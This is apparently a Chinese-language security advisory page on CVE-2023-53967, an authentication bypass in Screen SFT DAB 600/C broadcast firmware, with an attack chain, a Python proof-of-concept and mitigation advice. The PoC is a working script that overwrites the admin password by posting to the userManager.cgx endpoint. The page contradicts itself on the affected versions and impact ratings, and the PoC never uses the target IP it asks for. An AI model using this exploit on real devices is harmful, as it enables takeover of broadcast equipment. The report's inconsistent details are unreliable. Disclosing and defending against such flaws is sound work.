IPBUF安全漏洞报告
English
CVE-2023-53967 CVSS 7.5 高危

CVE-2023-53967 Screen SFT DAB 600/C 固件身份验证绕过漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2023-53967
漏洞类型
身份验证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Screen SFT DAB 600/C firmware

相关标签

身份验证绕过CVE-2023-53967ScreenSFT DAB 600/C固件漏洞API安全广播设备MD5哈希权限提升

漏洞概述

CVE-2023-53967是影响Screen公司的SFT DAB 600/C广播设备固件的高危安全漏洞。该漏洞存在于固件版本1.9.3中,允许未经身份验证的远程攻击者绕过正常的认证流程,直接修改管理员账户密码。攻击者只需构造恶意的POST请求,通过userManager.cgx API端点提交新的MD5哈希密码,即可成功覆盖原有管理员凭据。获得管理员权限后,攻击者可以完全控制设备配置、监听广播内容或进一步渗透内网。由于该设备通常部署在广播电视台站的关键基础设施中,此漏洞可能对公共通信安全造成严重影响。漏洞评分7.5(高危),攻击复杂度低,无需任何前置条件,机密性影响为高,完整性和可用性无影响。建议相关单位立即排查并采取防护措施。

技术细节

漏洞根因在于userManager.cgx API端点缺少正确的身份验证检查。正常的管理员密码修改流程需要验证当前密码,但该API错误地允许任何未认证请求执行密码修改操作。攻击者构造的POST请求应包含特定格式的参数:目标用户ID(通常为admin账户标识)和新密码的MD5哈希值。设备接收到请求后,直接将新哈希值写入用户数据库,覆盖原有密码。由于密码以MD5形式存储而非加盐哈希,增加了被彩虹表攻击的风险。固件版本1.9.3在处理userManager请求时未实现会话验证或CSRF令牌检查,导致攻击可被自动化工具批量利用。攻击者获取管理员权限后,可访问设备所有管理功能,包括广播参数配置、日志导出、网络设置修改等。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描网络,发现运行Screen SFT DAB 600/C固件1.9.3版本的设备,确认userManager.cgx端点可访问
STEP 2
步骤2
构造恶意请求:攻击者准备POST请求,包含action=changePassword、userId=admin和新密码的MD5哈希值
STEP 3
步骤3
发送漏洞利用请求:直接向/userManager.cgx端点发送构造的JSON payload,无需任何认证信息
STEP 4
步骤4
密码覆盖成功:设备接收请求后直接将MD5哈希值写入用户数据库,覆盖原admin密码
STEP 5
步骤5
权限提升:攻击者使用新密码登录管理后台,获得设备完全控制权,可修改广播配置或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import hashlib # CVE-2023-53967 PoC - Screen SFT DAB 600/C Admin Password Change # Target: userManager.cgx endpoint target_url = "http://<target-ip>/api/userManager.cgx" def generate_md5(password): """Generate MD5 hash of password""" return hashlib.md5(password.encode()).hexdigest() def change_admin_password(target_ip, new_password): """ Exploit authentication bypass in Screen SFT DAB 600/C firmware Allows changing admin password without current credentials """ new_password_md5 = generate_md5(new_password) # Malicious POST request to change admin password payload = { "action": "changePassword", "userId": "admin", "newPassword": new_password_md5 } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Password changed successfully!") print(f"[+] New password MD5: {new_password_md5}") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Usage example if __name__ == "__main__": target_ip = input("Enter target IP: ") new_pass = input("Enter new admin password: ") change_admin_password(target_ip, new_pass)

影响范围

Screen SFT DAB 600/C firmware < 1.9.3

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 通过防火墙规则限制对设备管理端口(HTTP/HTTPS)的访问,仅允许受信任的管理IP访问;2) 禁用设备的远程管理功能,改为本地管理;3) 监控网络流量,检测针对userManager.cgx端点的异常POST请求;4) 定期更改管理员账户密码并使用强密码策略;5) 考虑在边界部署WAF规则拦截可疑的API请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表